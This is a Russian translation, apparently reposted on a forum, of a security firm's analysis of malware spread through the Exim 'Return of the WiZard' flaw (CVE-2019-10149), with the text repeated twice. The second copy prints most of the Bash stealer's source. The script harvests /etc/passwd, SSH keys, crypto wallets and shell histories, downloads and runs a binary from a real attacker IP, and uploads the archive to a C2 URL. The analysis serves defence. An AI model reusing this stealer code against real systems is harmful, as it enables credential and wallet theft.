Пожалуйста, обратите внимание, что пользователь заблокирован
Вступление
Рисунок 1: Открытый сервер EXIM в Италии (Ссылка: ZoomEye)
В последние дни общественности была раскрыта действительно важная проблема: уязвимость «Return of the WiZard» ( EW N030619, CVE-2019-10149). Такая уязвимость затронула широкий спектр серверов Exim, одной из основных технологий почтовых серверов, чрезвычайно распространенных по всему миру и в Италии.
Недавно группы киберпреступников злоупотребили этой уязвимостью, чтобы взломать почтовый сервер Exim. За это время Cybaze-Yoroi ZLAB наблюдали множество попыток атак и попыток распространения вредоносного ПО, использующего проблему CVE-2019-10149, например, обратную оболочку SSH, впервые обнаруженную Магни Р. Сигурдссоном (Исследователь безопасности), которая злоупотребляет сетью ToR для распространения своей полезной нагрузки, или волна 9-го июня, которая пыталась загрузить определенный (agent Linux). Yoroi-Cybaze ZLab проанализировал эту вредоносную угрозу.
Рисунок 2: Твит о первой волне атаки на сервер exim
Технический анализ
Exim - агент передачи сообщений (MTA), разработанный в Кембриджском университете для систем Unix, подключенных к Интернету. Он был разработан исходя из предположения, что он будет работать на хостах, которые постоянно подключены к Интернету. Благодаря уязвимости « Return of the WiZard» искаженное письмо, отправляемое на серверы Exim, позволяет злоумышленникам выполнять код под пользователем root на большинстве серверов.Вся цепочка заражения начинается с диалогового окна SMTP, содержащего специально созданное поле « RCPT_TO».
Например:
Рисунок 3: Эксплойт, используемый для взлома уязвимого сервера Exim (ссылка: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)
На этом этапе уязвимый сервер exim локально выполняет созданную часть.
Bash Stealer
Таблица 1: Информация о скрипте sh
Рисунок 4: Начальное обнаружение файла SH
Файл SH - это не просто новый этап (merely a dropper) вредоносного ПО. Он извлекает информацию о зараженной машине, начиная с имени хоста и заканчивая биткойн-кошельками и конфигурациями системы, что делает его похожим на довольно хороший стиллер. В этом разделе мы углубимся во все возможности этого образца.
Прежде всего, скрипт устанавливает различные переменные, видимые на всех дочерних процессах благодаря команде «export». Интересной переменной является « UPLOAD_URL », содержащая первое удаленное местоположение « hxxps: // 85 [.25.84.99 / up [.php» часть инфраструктуры злоумышленника. Хостинг C2 осуществляется немецким провайдером управляемых облачных сервисов Plus ( PlusServer GmbH).
Вторая интересная часть скрипта - это функция « snd ( )», определенная ниже.
Эта строка сценария является одной из самых важных в цепочке заражения. Он запускает команду оболочки с тремя экспортированными переменными файлами «UPLOAD_FILE», «UPLOAD_NAME», «UPLOAD_URL», а затем выполняется файл « atd ». Это описано в разделе «Полезная нагрузка». Вместо этого представим последнюю часть скрипта:
В разделе « #EXIM » скрипт собирает следующую информацию: версия системы, ip, статус iptables, статус ip6tables. Однако метка « #EXIM » вводит в заблуждение, поскольку этот фрагмент кода относится только к информации о конфигурации сети машины, и конфигурация EXIM не восстанавливается . После этого скрипт продолжает собирать другую информацию, такую как:
● Имя хоста
● Название операционной системы
● Дата в формате UTC и CEST
● Время работы сервера
● Информация о каждом пользователе, вошедшем в компьютер
● Идентификатор пользователя
● Запущенный процесс
● Информация о памяти
● Информация о процессоре
● IPv4
● Дисковое пространство
● Сообщение содержится в буфере ядра
● Структура файловой системы
● Все текущие переменные среды
● Вся периферия и шина PCI
● Вся шина USB
● Состояние установленной связи
● Информация о таблицах маршрутизации
● Модули ядра
● Информация об архитектуре процессора
В разделе с пометкой « #copy материал из / etc? ”, Скрипт крадет все файлы, хранящиеся в / etc / path. Его данные хранятся в « $ main_dir / root / sysinfo / etc », где $ main_dir - « / var / tmp ». Он содержит копию всех папок конфигураций Apace и Nginx, а также системных пользователей и групп.
Кроме того, в следующем фрагменте кода показан фрагмент скрипта, способный украсть кошельки криптовалют и разграбить другие интересные файлы. Например SSH конфиги и файлы конфигурации инструментов удаленного управления, как Remmina, Rdesk и VNC. Кроме того, он собирает файлы конфигурации клиента БД для DbShell и Redis, а также историю пользовательских команд.
Наконец, вся эта информация сжимается, отправляется в C2 с помощью ранее упомянутой функции « snd ( ) », а затем удаляется из машины . В последних строках скрипта загружается еще одна вредоносная программа: исполняемый файл ELF32, размещенный на том же сервере по адресу « hxxp: // 173 [.212.214 [.137 / se » ». Это файл «atd», указанный в функции « snd () ».
ELF Uploader
Table 2: Information about se (ELF file packed with UPX)
This sample was compressed with the standard UPX compressor. The unpacked payload is:
Таблица 3: Информация о себе (файл ELF распакован)
Анализируя ее, мы обнаружили, что вредоносная программа пытается найти три переменные среды: «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL». Все они были объявлены в функции « snd ( )» и используются в качестве параметров для дальнейшего выполнения, предполагая, что этот фрагмент кода может быть специальным инструментом, подготовленным злоумышленником.
Рисунок 5: Доказательства функций «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL»
Если эти три параметра существуют, то вредоносная программа связывается с удаленным пунктом назначения, чтобы загрузить все данные через серию запросов POST в ресурс « /up.php ». Как упоминалось ранее, три параметра считываются как переменные среды в командной строке bash. Итак, после загрузки необходимых параметров мы можем правильно отлаживать вредоносные программы. На рисунке выше мы сообщили, как вредоносная программа получает один из заданных параметров, папку «/ var / tmp / temp3754r97y2», в которой содержится добыча, собранная Bash Stealer. Действительно, на рисунке 12 показана процедура, используемая вредоносным ПО для связи с C2, и онаясно видна в адресе, указанном регистром ESI.
Рисунок 6: Процедура чтения параметров
Рисунок 7: Процедура чтения адреса C2
Заключение
Эта волна атак показывает, насколько просто для злоумышленника может быть провести широко распространенные атаки с помощью настроенного вредоносного ПО, угрожающего всем незащищенным сервисам Exim, выставленным по всему Интернету. В этом анализе мы столкнулись с эффективной системой похищения информации, позволяющей легко собирать конфиденциальную информацию о скомпрометированной системе. Эта информация также может позволить мошенникам, участвующим в кампании, еще больше усилить атаку внутри жертв и сетей партнеров-жертв.
В любом случае, этот случай представляет собой только один возможный сценарий атаки, использующий уязвимость « Возвращение WiZard »: криптоминеры, бот-сети или вымогатели также могут использовать этот недостаток вместе с группами APT. Итак, исследователи Yoroi-Cybaze рекомендуют обновить серверы Exim во избежание риска других волн атаки.
Технические подробности, включая IoC и правила Yara, доступны в анализе, опубликованном в блоге Yoroi.
Источник: https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Рисунок 1: Открытый сервер EXIM в Италии (Ссылка: ZoomEye)
В последние дни общественности была раскрыта действительно важная проблема: уязвимость «Return of the WiZard» ( EW N030619, CVE-2019-10149). Такая уязвимость затронула широкий спектр серверов Exim, одной из основных технологий почтовых серверов, чрезвычайно распространенных по всему миру и в Италии.
Недавно группы киберпреступников злоупотребили этой уязвимостью, чтобы взломать почтовый сервер Exim. За это время Cybaze-Yoroi ZLAB наблюдали множество попыток атак и попыток распространения вредоносного ПО, использующего проблему CVE-2019-10149, например, обратную оболочку SSH, впервые обнаруженную Магни Р. Сигурдссоном (Исследователь безопасности), которая злоупотребляет сетью ToR для распространения своей полезной нагрузки, или волна 9-го июня, которая пыталась загрузить определенный (agent Linux). Yoroi-Cybaze ZLab проанализировал эту вредоносную угрозу.
Рисунок 2: Твит о первой волне атаки на сервер exim
Технический анализ
Exim - агент передачи сообщений (MTA), разработанный в Кембриджском университете для систем Unix, подключенных к Интернету. Он был разработан исходя из предположения, что он будет работать на хостах, которые постоянно подключены к Интернету. Благодаря уязвимости « Return of the WiZard» искаженное письмо, отправляемое на серверы Exim, позволяет злоумышленникам выполнять код под пользователем root на большинстве серверов.Вся цепочка заражения начинается с диалогового окна SMTP, содержащего специально созданное поле « RCPT_TO».
Например:
Рисунок 3: Эксплойт, используемый для взлома уязвимого сервера Exim (ссылка: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)
На этом этапе уязвимый сервер exim локально выполняет созданную часть.
Bash Stealer
| Hash | 1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed |
| Threat | Bash Stealer |
| Brief Description | Initial bash payload dropped after Exim exploit |
| Ssdeep | 48:r+GMfper8pnPDA7pIgOznRsbb9tanhc6zghOk1Y2y6EYX+UDLBoySval:r+GMfp6ubEmZz6ig0vK |
Рисунок 4: Начальное обнаружение файла SH
Файл SH - это не просто новый этап (merely a dropper) вредоносного ПО. Он извлекает информацию о зараженной машине, начиная с имени хоста и заканчивая биткойн-кошельками и конфигурациями системы, что делает его похожим на довольно хороший стиллер. В этом разделе мы углубимся во все возможности этого образца.
- #!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0
- HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php
- NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V
Прежде всего, скрипт устанавливает различные переменные, видимые на всех дочерних процессах благодаря команде «export». Интересной переменной является « UPLOAD_URL », содержащая первое удаленное местоположение « hxxps: // 85 [.25.84.99 / up [.php» часть инфраструктуры злоумышленника. Хостинг C2 осуществляется немецким провайдером управляемых облачных сервисов Plus ( PlusServer GmbH).
Вторая интересная часть скрипта - это функция « snd ( )», определенная ниже.
- snd () { sh -c “UPLOAD_FILE=\”$1\” UPLOAD_NAME=\”$(hostname).tbz2\” UPLOAD_URL=$UPLOAD_URL atd &”; }
Эта строка сценария является одной из самых важных в цепочке заражения. Он запускает команду оболочки с тремя экспортированными переменными файлами «UPLOAD_FILE», «UPLOAD_NAME», «UPLOAD_URL», а затем выполняется файл « atd ». Это описано в разделе «Полезная нагрузка». Вместо этого представим последнюю часть скрипта:
- # EXIM
- tail -n 100 /etc/*release /etc/version > system.version 2>/dev/nullip addr > ip 2>/dev/nulliptables-save > iptables 2>/dev/nullip6tables-save > ip6tables 2>/dev/null
- # /EXIM end exim
- hostname > hostnameuname -a > unameecho `date -u` ‘(‘`$(which date)`’)’ > dateuptime > uptimew > wid > id
- ps auxwwwwwTH > psps auxwwwwwf > ps-forestps auxwwwwwfe > ps-env
- cat /proc/meminfo > meminfo 2>/dev/nullcat /proc/cpuinfo > cpuinfo 2>/dev/nullifconfig -a > ifconfig 2>/dev/nulldf > df 2>/dev/nulldmesg > dmesg 2>/dev/nullmount > mount 2>/dev/nullenv > env 2>/dev/null
- lspci -k > lspci 2>/dev/nulllsusb > lsusb 2>/dev/null
- netstat -antpuxwenW > netstat 2>/dev/nullroute -en > route 2>/dev/null
- # other kernel info
- cat /proc/modules > lsmod 2>/dev/nullcp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/nulllscpu > lscpu 2>/dev/null
- # copy stuff from /etc?
- if [ $NOETC –eq 0 ]; then mkdir $main_dir/root/sysinfo/etc cd $main_dir/root/sysinfo/etc cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null cd –fi
- cd $main_dir/root
- # list some dirs
- if [ $NOLS –eq 0 ]; then ls -laR /boot > ls-boot 2>&1 ls -laR /etc > ls-etc 2>&1fi
- # compress n clean up
- cd $main_dirtar -cj –exclude ‘root/sysinfo/etc/httpd/modules*’ –exclude ‘root/sysinfo/etc/httpd/lib*’ –exclude ‘root/sysinfo/etc/httpd/man*’ -f $BASE/rf root
- # drop source files
- rm -rf $main_dir &
- # ready to send!
- cd $BASE
- wget -q http://173.212.214.137/se -O atd || wget -q http://173.212.214.137/icantgetit -O /dev/nulltest `stat -c %s atd` –eq610932 && chmod +x atd && snd rf
В разделе « #EXIM » скрипт собирает следующую информацию: версия системы, ip, статус iptables, статус ip6tables. Однако метка « #EXIM » вводит в заблуждение, поскольку этот фрагмент кода относится только к информации о конфигурации сети машины, и конфигурация EXIM не восстанавливается . После этого скрипт продолжает собирать другую информацию, такую как:
● Имя хоста
● Название операционной системы
● Дата в формате UTC и CEST
● Время работы сервера
● Информация о каждом пользователе, вошедшем в компьютер
● Идентификатор пользователя
● Запущенный процесс
● Информация о памяти
● Информация о процессоре
● IPv4
● Дисковое пространство
● Сообщение содержится в буфере ядра
● Структура файловой системы
● Все текущие переменные среды
● Вся периферия и шина PCI
● Вся шина USB
● Состояние установленной связи
● Информация о таблицах маршрутизации
● Модули ядра
● Информация об архитектуре процессора
В разделе с пометкой « #copy материал из / etc? ”, Скрипт крадет все файлы, хранящиеся в / etc / path. Его данные хранятся в « $ main_dir / root / sysinfo / etc », где $ main_dir - « / var / tmp ». Он содержит копию всех папок конфигураций Apace и Nginx, а также системных пользователей и групп.
- # copy stuff from /etc?
- if [ $NOETC –eq 0 ]; then
- mkdir $main_dir/root/sysinfo/etc
- cd $main_dir/root/sysinfo/etc
- cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null
- cd –
- fi
Кроме того, в следующем фрагменте кода показан фрагмент скрипта, способный украсть кошельки криптовалют и разграбить другие интересные файлы. Например SSH конфиги и файлы конфигурации инструментов удаленного управления, как Remmina, Rdesk и VNC. Кроме того, он собирает файлы конфигурации клиента БД для DbShell и Redis, а также историю пользовательских команд.
- cd $HOME && tar cf $main_dir/root/root.tar \ .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \ *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \ /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \ /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \ /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
- cd $main_dir/root/
Наконец, вся эта информация сжимается, отправляется в C2 с помощью ранее упомянутой функции « snd ( ) », а затем удаляется из машины . В последних строках скрипта загружается еще одна вредоносная программа: исполняемый файл ELF32, размещенный на том же сервере по адресу « hxxp: // 173 [.212.214 [.137 / se » ». Это файл «atd», указанный в функции « snd () ».
ELF Uploader
| Hash | d8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c |
| Threat | ELF Uploader |
| Brief Description | Malware downloaded after exim exploitation packed with UPX compressor |
| Ssdeep | 12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk |
This sample was compressed with the standard UPX compressor. The unpacked payload is:
| Hash | b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a |
| Threat | ELF Uploader unpacked |
| Brief Description | ELF Uploader unpacked |
| Ssdeep | 49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy |
Анализируя ее, мы обнаружили, что вредоносная программа пытается найти три переменные среды: «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL». Все они были объявлены в функции « snd ( )» и используются в качестве параметров для дальнейшего выполнения, предполагая, что этот фрагмент кода может быть специальным инструментом, подготовленным злоумышленником.
Рисунок 5: Доказательства функций «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL»
Если эти три параметра существуют, то вредоносная программа связывается с удаленным пунктом назначения, чтобы загрузить все данные через серию запросов POST в ресурс « /up.php ». Как упоминалось ранее, три параметра считываются как переменные среды в командной строке bash. Итак, после загрузки необходимых параметров мы можем правильно отлаживать вредоносные программы. На рисунке выше мы сообщили, как вредоносная программа получает один из заданных параметров, папку «/ var / tmp / temp3754r97y2», в которой содержится добыча, собранная Bash Stealer. Действительно, на рисунке 12 показана процедура, используемая вредоносным ПО для связи с C2, и онаясно видна в адресе, указанном регистром ESI.
Рисунок 6: Процедура чтения параметров
Рисунок 7: Процедура чтения адреса C2
Заключение
Эта волна атак показывает, насколько просто для злоумышленника может быть провести широко распространенные атаки с помощью настроенного вредоносного ПО, угрожающего всем незащищенным сервисам Exim, выставленным по всему Интернету. В этом анализе мы столкнулись с эффективной системой похищения информации, позволяющей легко собирать конфиденциальную информацию о скомпрометированной системе. Эта информация также может позволить мошенникам, участвующим в кампании, еще больше усилить атаку внутри жертв и сетей партнеров-жертв.
В любом случае, этот случай представляет собой только один возможный сценарий атаки, использующий уязвимость « Возвращение WiZard »: криптоминеры, бот-сети или вымогатели также могут использовать этот недостаток вместе с группами APT. Итак, исследователи Yoroi-Cybaze рекомендуют обновить серверы Exim во избежание риска других волн атаки.
Технические подробности, включая IoC и правила Yara, доступны в анализе, опубликованном в блоге Yoroi.
Источник: https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/